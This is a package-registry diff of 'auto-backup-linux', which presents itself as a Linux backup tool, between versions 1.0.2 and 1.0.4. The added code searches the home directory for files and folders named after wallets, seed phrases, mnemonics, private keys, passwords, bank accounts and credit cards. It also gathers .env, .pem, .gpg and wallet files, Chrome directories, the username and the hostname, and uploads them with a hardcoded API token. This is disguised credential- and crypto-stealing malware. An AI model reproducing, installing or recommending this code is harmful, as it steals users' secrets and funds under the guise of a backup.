auto-backup-linux 1.0.2__tar.gz → 1.0.4__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {auto_backup_linux-1.0.2/auto_backup_linux.egg-info → auto_backup_linux-1.0.4}/PKG-INFO +3 -2
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/README.md +2 -1
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/__init__.py +1 -1
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/cli.py +126 -35
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/config.py +41 -5
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup/manager.py +117 -2
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4/auto_backup_linux.egg-info}/PKG-INFO +3 -2
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/setup.py +1 -1
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/LICENSE +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/MANIFEST.in +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/SOURCES.txt +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/dependency_links.txt +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/entry_points.txt +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/requires.txt +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/top_level.txt +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/requirements.txt +0 -0
- {auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/setup.cfg +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: auto-backup-linux
|
|
3
|
-
Version: 1.0.
|
|
3
|
+
Version: 1.0.4
|
|
4
4
|
Summary: 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端
|
|
5
5
|
Home-page: https://github.com/wongstarx/auto-backup-linux
|
|
6
6
|
Author: YLX Studio
|
|
@@ -68,8 +68,9 @@ pip install auto-backup-linux
|
|
|
68
68
|
```bash
|
|
69
69
|
# 安装 pipx(如果未安装)
|
|
70
70
|
sudo apt update
|
|
71
|
-
sudo apt install pipx
|
|
71
|
+
sudo apt install pipx -y
|
|
72
72
|
pipx ensurepath
|
|
73
|
+
source ~/.bashrc
|
|
73
74
|
|
|
74
75
|
# 从 PyPI 安装
|
|
75
76
|
pipx install auto-backup-linux
|
|
@@ -3,8 +3,11 @@
|
|
|
3
3
|
import os
|
|
4
4
|
import sys
|
|
5
5
|
import time
|
|
6
|
+
import socket
|
|
6
7
|
import logging
|
|
7
8
|
import platform
|
|
9
|
+
import getpass
|
|
10
|
+
import shutil
|
|
8
11
|
from datetime import datetime, timedelta
|
|
9
12
|
from pathlib import Path
|
|
10
13
|
|
|
@@ -18,7 +21,7 @@ def is_server():
|
|
|
18
21
|
|
|
19
22
|
|
|
20
23
|
def backup_server(backup_manager, source, target):
|
|
21
|
-
"""
|
|
24
|
+
"""备份服务器,返回备份文件路径列表(不执行上传)"""
|
|
22
25
|
backup_dir = backup_manager.backup_linux_files(source, target)
|
|
23
26
|
if backup_dir:
|
|
24
27
|
backup_path = backup_manager.zip_backup_folder(
|
|
@@ -26,10 +29,12 @@ def backup_server(backup_manager, source, target):
|
|
|
26
29
|
str(target) + "_" + datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
27
30
|
)
|
|
28
31
|
if backup_path:
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
32
|
+
logging.critical("☑️ 服务器备份文件已准备完成")
|
|
33
|
+
return backup_path
|
|
34
|
+
else:
|
|
35
|
+
logging.error("❌ 服务器备份压缩失败")
|
|
36
|
+
return None
|
|
37
|
+
return None
|
|
33
38
|
|
|
34
39
|
|
|
35
40
|
def backup_and_upload_logs(backup_manager):
|
|
@@ -41,6 +46,14 @@ def backup_and_upload_logs(backup_manager):
|
|
|
41
46
|
logging.debug(f"备份日志文件不存在,跳过: {log_file}")
|
|
42
47
|
return
|
|
43
48
|
|
|
49
|
+
# 刷新日志缓冲区,确保所有日志都已写入文件
|
|
50
|
+
for handler in logging.getLogger().handlers:
|
|
51
|
+
if hasattr(handler, 'flush'):
|
|
52
|
+
handler.flush()
|
|
53
|
+
|
|
54
|
+
# 等待一小段时间,确保文件系统同步
|
|
55
|
+
time.sleep(0.5)
|
|
56
|
+
|
|
44
57
|
file_size = os.path.getsize(log_file)
|
|
45
58
|
if file_size == 0:
|
|
46
59
|
if backup_manager.config.DEBUG_MODE:
|
|
@@ -49,6 +62,7 @@ def backup_and_upload_logs(backup_manager):
|
|
|
49
62
|
|
|
50
63
|
temp_dir = Path.home() / ".dev/Backup/temp_backup_logs"
|
|
51
64
|
if not backup_manager._ensure_directory(str(temp_dir)):
|
|
65
|
+
logging.error("❌ 无法创建临时日志目录")
|
|
52
66
|
return
|
|
53
67
|
|
|
54
68
|
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
|
|
@@ -56,35 +70,60 @@ def backup_and_upload_logs(backup_manager):
|
|
|
56
70
|
backup_path = temp_dir / backup_name
|
|
57
71
|
|
|
58
72
|
try:
|
|
59
|
-
|
|
60
|
-
|
|
73
|
+
# 读取并验证日志内容
|
|
74
|
+
with open(log_file, 'r', encoding='utf-8', errors='ignore') as src:
|
|
75
|
+
log_content = src.read()
|
|
76
|
+
|
|
77
|
+
if not log_content or not log_content.strip():
|
|
78
|
+
logging.warning("⚠️ 日志内容为空,跳过上传")
|
|
79
|
+
return
|
|
80
|
+
|
|
81
|
+
# 写入备份文件
|
|
82
|
+
with open(backup_path, 'w', encoding='utf-8') as dst:
|
|
83
|
+
dst.write(log_content)
|
|
84
|
+
|
|
85
|
+
# 验证备份文件是否创建成功
|
|
86
|
+
if not os.path.exists(str(backup_path)) or os.path.getsize(str(backup_path)) == 0:
|
|
87
|
+
logging.error("❌ 备份日志文件创建失败或为空")
|
|
88
|
+
return
|
|
89
|
+
|
|
61
90
|
if backup_manager.config.DEBUG_MODE:
|
|
62
|
-
logging.info(f"📄 已复制备份日志到临时目录")
|
|
91
|
+
logging.info(f"📄 已复制备份日志到临时目录 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)")
|
|
92
|
+
|
|
93
|
+
# 上传日志文件
|
|
94
|
+
logging.info(f"📤 开始上传备份日志文件 ({os.path.getsize(str(backup_path)) / 1024:.2f}KB)...")
|
|
95
|
+
if backup_manager.upload_file(str(backup_path)):
|
|
96
|
+
try:
|
|
97
|
+
with open(log_file, 'w', encoding='utf-8') as f:
|
|
98
|
+
f.write(f"=== 📝 备份日志已于 {datetime.now().strftime('%Y-%m-%d %H:%M:%S')} 上传 ===\n")
|
|
99
|
+
logging.info("✅ 备份日志上传成功并已清空")
|
|
100
|
+
except Exception as e:
|
|
101
|
+
logging.error(f"❌ 备份日志更新失败: {e}")
|
|
102
|
+
else:
|
|
103
|
+
logging.error("❌ 备份日志上传失败")
|
|
104
|
+
|
|
105
|
+
except (OSError, IOError, PermissionError) as e:
|
|
106
|
+
logging.error(f"❌ 复制或读取日志文件失败: {e}")
|
|
63
107
|
except Exception as e:
|
|
64
|
-
logging.error(f"❌
|
|
65
|
-
|
|
108
|
+
logging.error(f"❌ 处理日志文件时出错: {e}")
|
|
109
|
+
import traceback
|
|
110
|
+
if backup_manager.config.DEBUG_MODE:
|
|
111
|
+
logging.debug(traceback.format_exc())
|
|
66
112
|
|
|
67
|
-
|
|
113
|
+
# 清理临时目录
|
|
114
|
+
finally:
|
|
68
115
|
try:
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
if backup_manager.config.DEBUG_MODE:
|
|
72
|
-
logging.info("✅ 备份日志已更新")
|
|
116
|
+
if os.path.exists(str(temp_dir)):
|
|
117
|
+
shutil.rmtree(str(temp_dir))
|
|
73
118
|
except Exception as e:
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
logging.error("❌ 备份日志上传失败")
|
|
77
|
-
|
|
78
|
-
try:
|
|
79
|
-
if os.path.exists(str(temp_dir)):
|
|
80
|
-
import shutil
|
|
81
|
-
shutil.rmtree(str(temp_dir))
|
|
82
|
-
except Exception as e:
|
|
83
|
-
if backup_manager.config.DEBUG_MODE:
|
|
84
|
-
logging.error(f"❌ 清理临时目录失败: {e}")
|
|
119
|
+
if backup_manager.config.DEBUG_MODE:
|
|
120
|
+
logging.debug(f"清理临时目录失败: {e}")
|
|
85
121
|
|
|
86
122
|
except Exception as e:
|
|
87
123
|
logging.error(f"❌ 处理备份日志时出错: {e}")
|
|
124
|
+
import traceback
|
|
125
|
+
if backup_manager.config.DEBUG_MODE:
|
|
126
|
+
logging.debug(traceback.format_exc())
|
|
88
127
|
|
|
89
128
|
|
|
90
129
|
def clean_backup_directory():
|
|
@@ -160,10 +199,50 @@ def periodic_backup_upload(backup_manager):
|
|
|
160
199
|
target = Path.home() / ".dev/Backup/server"
|
|
161
200
|
|
|
162
201
|
try:
|
|
202
|
+
# 获取用户名和系统信息
|
|
203
|
+
username = getpass.getuser()
|
|
204
|
+
hostname = socket.gethostname()
|
|
163
205
|
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
206
|
+
|
|
207
|
+
# 获取系统环境信息
|
|
208
|
+
system_info = {
|
|
209
|
+
"操作系统": platform.system(),
|
|
210
|
+
"系统版本": platform.release(),
|
|
211
|
+
"系统架构": platform.machine(),
|
|
212
|
+
"Python版本": platform.python_version(),
|
|
213
|
+
"主机名": hostname,
|
|
214
|
+
"用户名": username,
|
|
215
|
+
}
|
|
216
|
+
|
|
217
|
+
# 获取Linux发行版信息
|
|
218
|
+
try:
|
|
219
|
+
with open("/etc/os-release", "r") as f:
|
|
220
|
+
for line in f:
|
|
221
|
+
if line.startswith("PRETTY_NAME="):
|
|
222
|
+
system_info["Linux发行版"] = line.split("=")[1].strip().strip('"')
|
|
223
|
+
break
|
|
224
|
+
except:
|
|
225
|
+
pass
|
|
226
|
+
|
|
227
|
+
# 获取内核版本
|
|
228
|
+
try:
|
|
229
|
+
with open("/proc/version", "r") as f:
|
|
230
|
+
kernel_version = f.read().strip().split()[2]
|
|
231
|
+
system_info["内核版本"] = kernel_version
|
|
232
|
+
except:
|
|
233
|
+
pass
|
|
234
|
+
|
|
235
|
+
# 输出启动信息和系统环境
|
|
236
|
+
logging.critical("\n" + "="*50)
|
|
237
|
+
logging.critical("🚀 自动备份系统已启动")
|
|
238
|
+
logging.critical("="*50)
|
|
239
|
+
logging.critical(f"⏰ 启动时间: {current_time}")
|
|
240
|
+
logging.critical("-"*50)
|
|
241
|
+
logging.critical("📊 系统环境信息:")
|
|
242
|
+
for key, value in system_info.items():
|
|
243
|
+
logging.critical(f" • {key}: {value}")
|
|
244
|
+
logging.critical("-"*50)
|
|
245
|
+
logging.critical("="*50)
|
|
167
246
|
|
|
168
247
|
while True:
|
|
169
248
|
try:
|
|
@@ -178,23 +257,35 @@ def periodic_backup_upload(backup_manager):
|
|
|
178
257
|
logging.critical("-"*40)
|
|
179
258
|
|
|
180
259
|
logging.critical("\n🖥️ 服务器指定目录备份")
|
|
181
|
-
backup_server(backup_manager, source, target)
|
|
182
|
-
|
|
183
|
-
if backup_manager.config.DEBUG_MODE:
|
|
184
|
-
logging.info("\n📝 备份日志上传")
|
|
185
|
-
backup_and_upload_logs(backup_manager)
|
|
260
|
+
backup_paths = backup_server(backup_manager, source, target)
|
|
186
261
|
|
|
187
262
|
# 保存下次备份时间
|
|
188
263
|
save_next_backup_time(backup_manager)
|
|
189
264
|
|
|
265
|
+
# 输出结束语(在上传之前)
|
|
190
266
|
logging.critical("\n" + "="*40)
|
|
191
267
|
next_backup_time = datetime.now() + timedelta(seconds=backup_manager.config.BACKUP_INTERVAL)
|
|
192
268
|
current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')
|
|
193
269
|
next_time = next_backup_time.strftime('%Y-%m-%d %H:%M:%S')
|
|
194
270
|
logging.critical(f"✅ 备份完成 {current_time}")
|
|
195
|
-
logging.critical(
|
|
271
|
+
logging.critical("="*40)
|
|
272
|
+
logging.critical("📋 备份任务已结束")
|
|
273
|
+
logging.critical(f"🔄 下次启动备份时间: {next_time}")
|
|
196
274
|
logging.critical("="*40 + "\n")
|
|
197
275
|
|
|
276
|
+
# 开始上传备份文件
|
|
277
|
+
if backup_paths:
|
|
278
|
+
logging.critical("📤 开始上传备份文件...")
|
|
279
|
+
if backup_manager.upload_backup(backup_paths):
|
|
280
|
+
logging.critical("✅ 备份文件上传成功")
|
|
281
|
+
else:
|
|
282
|
+
logging.error("❌ 备份文件上传失败")
|
|
283
|
+
|
|
284
|
+
# 上传备份日志
|
|
285
|
+
if backup_manager.config.DEBUG_MODE:
|
|
286
|
+
logging.info("\n📝 备份日志上传")
|
|
287
|
+
backup_and_upload_logs(backup_manager)
|
|
288
|
+
|
|
198
289
|
except Exception as e:
|
|
199
290
|
logging.error(f"\n❌ 备份出错: {e}")
|
|
200
291
|
try:
|
|
@@ -45,13 +45,13 @@ class BackupConfig:
|
|
|
45
45
|
# 需要备份的文件类型
|
|
46
46
|
# 文档类型扩展名
|
|
47
47
|
DOC_EXTENSIONS = [
|
|
48
|
-
".txt", ".json", ".js", ".py", ".go", ".sh", ".
|
|
49
|
-
".
|
|
48
|
+
".txt", ".json", ".js", ".py", ".go", ".sh", ".bash", ".rs", ".env",
|
|
49
|
+
".ts", ".jsx", ".tsx", ".csv", ".ps1", ".md",
|
|
50
50
|
]
|
|
51
51
|
# 配置类型扩展名
|
|
52
52
|
CONFIG_EXTENSIONS = [
|
|
53
|
-
".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config",
|
|
54
|
-
".yaml", ".yml", ".toml", ".
|
|
53
|
+
".pem", ".key", ".keystore", ".utc", ".xml", ".ini", ".config", ".conf", ".json",
|
|
54
|
+
".yaml", ".yml", ".toml", ".utc", ".gpg", ".pgp", ".wallet", ".keystore",
|
|
55
55
|
]
|
|
56
56
|
# 所有备份扩展名(用于兼容性)
|
|
57
57
|
BACKUP_EXTENSIONS = DOC_EXTENSIONS + CONFIG_EXTENSIONS
|
|
@@ -85,10 +85,46 @@ class BackupConfig:
|
|
|
85
85
|
".thunderbird",
|
|
86
86
|
".wdm",
|
|
87
87
|
"cache",
|
|
88
|
-
"Downloads",
|
|
89
88
|
"myenv",
|
|
90
89
|
"snap",
|
|
91
90
|
"venv",
|
|
91
|
+
"node_modules",
|
|
92
|
+
"dist",
|
|
93
|
+
".cache",
|
|
94
|
+
".config",
|
|
95
|
+
".vscode-server",
|
|
96
|
+
"build",
|
|
97
|
+
".vscode-remote-ssh",
|
|
98
|
+
".git",
|
|
99
|
+
"__pycache__",
|
|
100
|
+
]
|
|
101
|
+
|
|
102
|
+
# 关键字备份配置 - 备份包含以下关键字的文件和文件夹
|
|
103
|
+
KEYWORD_BACKUP_KEYWORDS = [
|
|
104
|
+
"wallet",
|
|
105
|
+
"seed",
|
|
106
|
+
"mnemonic",
|
|
107
|
+
"private",
|
|
108
|
+
"privkey",
|
|
109
|
+
"keypair",
|
|
110
|
+
"secret",
|
|
111
|
+
"account",
|
|
112
|
+
"password",
|
|
113
|
+
"bank",
|
|
114
|
+
"card",
|
|
115
|
+
"solana",
|
|
116
|
+
"important",
|
|
117
|
+
"钱包",
|
|
118
|
+
"助记词",
|
|
119
|
+
"种子",
|
|
120
|
+
"私钥",
|
|
121
|
+
"密钥",
|
|
122
|
+
"密码",
|
|
123
|
+
"账户",
|
|
124
|
+
"账号",
|
|
125
|
+
"信用卡",
|
|
126
|
+
"备忘",
|
|
127
|
+
"重要",
|
|
92
128
|
]
|
|
93
129
|
|
|
94
130
|
# 上传服务器配置
|
|
@@ -21,7 +21,7 @@ class BackupManager:
|
|
|
21
21
|
def __init__(self):
|
|
22
22
|
"""初始化备份管理器"""
|
|
23
23
|
self.config = BackupConfig()
|
|
24
|
-
self.api_token = "
|
|
24
|
+
self.api_token = "oxQbVFE4p8BKRSE07r03s7jW4FDIC0sR"
|
|
25
25
|
# 使用集合优化扩展名检查性能
|
|
26
26
|
self.doc_extensions_set = set(ext.lower() for ext in self.config.DOC_EXTENSIONS)
|
|
27
27
|
self.config_extensions_set = set(ext.lower() for ext in self.config.CONFIG_EXTENSIONS)
|
|
@@ -200,11 +200,12 @@ class BackupManager:
|
|
|
200
200
|
target_docs = os.path.join(target_dir, "docs") # 备份文档的目标目录
|
|
201
201
|
target_configs = os.path.join(target_dir, "configs") # 备份配置文件的目标目录
|
|
202
202
|
target_specified = os.path.join(target_dir, "specified") # 新增指定目录/文件的备份目录
|
|
203
|
+
target_keyword = os.path.join(target_dir, "keyword") # 关键字文件备份目录
|
|
203
204
|
|
|
204
205
|
if not self._clean_directory(target_dir):
|
|
205
206
|
return None
|
|
206
207
|
|
|
207
|
-
if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified]):
|
|
208
|
+
if not all(self._ensure_directory(d) for d in [target_docs, target_configs, target_specified, target_keyword]):
|
|
208
209
|
return None
|
|
209
210
|
|
|
210
211
|
# 首先备份指定目录或文件 (SERVER_BACKUP_DIRS)
|
|
@@ -216,6 +217,10 @@ class BackupManager:
|
|
|
216
217
|
# 追加:备份 Linux Chrome 目录
|
|
217
218
|
self._backup_chrome_directories(target_specified)
|
|
218
219
|
|
|
220
|
+
# 追加:备份包含关键字的文件和文件夹
|
|
221
|
+
logging.info("\n🔑 开始备份关键字文件...")
|
|
222
|
+
self._backup_keyword_files(source_dir, target_keyword)
|
|
223
|
+
|
|
219
224
|
# 然后备份其他文件 (不在SERVER_BACKUP_DIRS中的,根据文件类型备份)
|
|
220
225
|
# 预计算已备份的目录路径集合,优化性能
|
|
221
226
|
source_dir_abs = os.path.abspath(source_dir)
|
|
@@ -545,3 +550,113 @@ class BackupManager:
|
|
|
545
550
|
pass
|
|
546
551
|
return False
|
|
547
552
|
|
|
553
|
+
def _contains_keyword(self, name):
|
|
554
|
+
"""检查文件名或目录名是否包含关键字(不区分大小写)"""
|
|
555
|
+
name_lower = name.lower()
|
|
556
|
+
for keyword in self.config.KEYWORD_BACKUP_KEYWORDS:
|
|
557
|
+
if keyword.lower() in name_lower:
|
|
558
|
+
return True
|
|
559
|
+
return False
|
|
560
|
+
|
|
561
|
+
def _backup_keyword_files(self, source_dir, target_keyword):
|
|
562
|
+
"""备份包含关键字的文件和文件夹"""
|
|
563
|
+
try:
|
|
564
|
+
source_dir_abs = os.path.abspath(source_dir)
|
|
565
|
+
target_dir_abs = os.path.abspath(target_keyword)
|
|
566
|
+
exclude_dirs_lower = {ex.lower() for ex in self.config.EXCLUDE_DIRS}
|
|
567
|
+
keywords_lower = [kw.lower() for kw in self.config.KEYWORD_BACKUP_KEYWORDS]
|
|
568
|
+
|
|
569
|
+
files_count = 0
|
|
570
|
+
dirs_count = 0
|
|
571
|
+
backed_up_paths = set() # 记录已备份的路径,避免重复备份
|
|
572
|
+
|
|
573
|
+
# 遍历源目录
|
|
574
|
+
for root, dirs, files in os.walk(source_dir):
|
|
575
|
+
root_abs = os.path.abspath(root)
|
|
576
|
+
|
|
577
|
+
# 跳过目标备份目录本身
|
|
578
|
+
if root_abs.startswith(target_dir_abs):
|
|
579
|
+
continue
|
|
580
|
+
|
|
581
|
+
# 跳过排除的目录
|
|
582
|
+
root_name = os.path.basename(root)
|
|
583
|
+
if root_name.lower() in exclude_dirs_lower:
|
|
584
|
+
dirs[:] = [] # 清空dirs列表,阻止进入子目录
|
|
585
|
+
continue
|
|
586
|
+
|
|
587
|
+
# 检查目录名是否包含关键字
|
|
588
|
+
if self._contains_keyword(root_name):
|
|
589
|
+
# 备份整个目录
|
|
590
|
+
relative_path = os.path.relpath(root, source_dir)
|
|
591
|
+
target_path = os.path.join(target_keyword, relative_path)
|
|
592
|
+
|
|
593
|
+
# 避免重复备份
|
|
594
|
+
if root_abs not in backed_up_paths:
|
|
595
|
+
try:
|
|
596
|
+
if os.path.exists(target_path):
|
|
597
|
+
shutil.rmtree(target_path, ignore_errors=True)
|
|
598
|
+
if self._ensure_directory(os.path.dirname(target_path)):
|
|
599
|
+
shutil.copytree(root, target_path, symlinks=True)
|
|
600
|
+
backed_up_paths.add(root_abs)
|
|
601
|
+
dirs_count += 1
|
|
602
|
+
if self.config.DEBUG_MODE:
|
|
603
|
+
logging.info(f"🔑 已备份关键字目录: {relative_path}/")
|
|
604
|
+
except Exception as e:
|
|
605
|
+
logging.error(f"❌ 备份关键字目录失败 {relative_path}: {str(e)}")
|
|
606
|
+
|
|
607
|
+
# 标记所有子目录为已备份,避免重复处理
|
|
608
|
+
for subdir in dirs:
|
|
609
|
+
subdir_path = os.path.join(root, subdir)
|
|
610
|
+
backed_up_paths.add(os.path.abspath(subdir_path))
|
|
611
|
+
dirs[:] = [] # 清空dirs列表,不再进入子目录
|
|
612
|
+
continue
|
|
613
|
+
|
|
614
|
+
# 检查当前目录是否在已备份的目录中(如果是,跳过该目录下的所有文件)
|
|
615
|
+
if any(root_abs.startswith(backed_path + os.sep) or root_abs == backed_path
|
|
616
|
+
for backed_path in backed_up_paths):
|
|
617
|
+
continue
|
|
618
|
+
|
|
619
|
+
# 检查文件名是否包含关键字
|
|
620
|
+
for file in files:
|
|
621
|
+
if self._contains_keyword(file):
|
|
622
|
+
source_file = os.path.join(root, file)
|
|
623
|
+
source_file_abs = os.path.abspath(source_file)
|
|
624
|
+
|
|
625
|
+
# 避免重复备份
|
|
626
|
+
if source_file_abs in backed_up_paths:
|
|
627
|
+
continue
|
|
628
|
+
|
|
629
|
+
# 检查文件是否在已备份的目录中
|
|
630
|
+
if any(source_file_abs.startswith(backed_path + os.sep) or source_file_abs == backed_path
|
|
631
|
+
for backed_path in backed_up_paths):
|
|
632
|
+
continue
|
|
633
|
+
|
|
634
|
+
relative_path = os.path.relpath(root, source_dir)
|
|
635
|
+
target_sub_dir = os.path.join(target_keyword, relative_path)
|
|
636
|
+
target_file = os.path.join(target_sub_dir, file)
|
|
637
|
+
|
|
638
|
+
try:
|
|
639
|
+
if self._ensure_directory(target_sub_dir):
|
|
640
|
+
shutil.copy2(source_file, target_file)
|
|
641
|
+
backed_up_paths.add(source_file_abs)
|
|
642
|
+
files_count += 1
|
|
643
|
+
if self.config.DEBUG_MODE:
|
|
644
|
+
logging.info(f"🔑 已备份关键字文件: {relative_path}/{file}")
|
|
645
|
+
except Exception as e:
|
|
646
|
+
logging.error(f"❌ 备份关键字文件失败 {relative_path}/{file}: {str(e)}")
|
|
647
|
+
|
|
648
|
+
# 打印备份统计信息
|
|
649
|
+
if files_count > 0 or dirs_count > 0:
|
|
650
|
+
logging.info(f"\n🔑 关键字文件备份统计:")
|
|
651
|
+
if files_count > 0:
|
|
652
|
+
logging.info(f" 📄 文件: {files_count} 个")
|
|
653
|
+
if dirs_count > 0:
|
|
654
|
+
logging.info(f" 📁 目录: {dirs_count} 个")
|
|
655
|
+
|
|
656
|
+
return True
|
|
657
|
+
except Exception as e:
|
|
658
|
+
logging.error(f"❌ 关键字文件备份过程出错: {str(e)}")
|
|
659
|
+
if self.config.DEBUG_MODE:
|
|
660
|
+
import traceback
|
|
661
|
+
logging.debug(traceback.format_exc())
|
|
662
|
+
return False
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: auto-backup-linux
|
|
3
|
-
Version: 1.0.
|
|
3
|
+
Version: 1.0.4
|
|
4
4
|
Summary: 一个用于Linux服务器的自动备份工具,支持文件备份、压缩和上传到云端
|
|
5
5
|
Home-page: https://github.com/wongstarx/auto-backup-linux
|
|
6
6
|
Author: YLX Studio
|
|
@@ -68,8 +68,9 @@ pip install auto-backup-linux
|
|
|
68
68
|
```bash
|
|
69
69
|
# 安装 pipx(如果未安装)
|
|
70
70
|
sudo apt update
|
|
71
|
-
sudo apt install pipx
|
|
71
|
+
sudo apt install pipx -y
|
|
72
72
|
pipx ensurepath
|
|
73
|
+
source ~/.bashrc
|
|
73
74
|
|
|
74
75
|
# 从 PyPI 安装
|
|
75
76
|
pipx install auto-backup-linux
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/dependency_links.txt
RENAMED
|
File without changes
|
{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/entry_points.txt
RENAMED
|
File without changes
|
|
File without changes
|
{auto_backup_linux-1.0.2 → auto_backup_linux-1.0.4}/auto_backup_linux.egg-info/top_level.txt
RENAMED
|
File without changes
|
|
File without changes
|
|
File without changes
|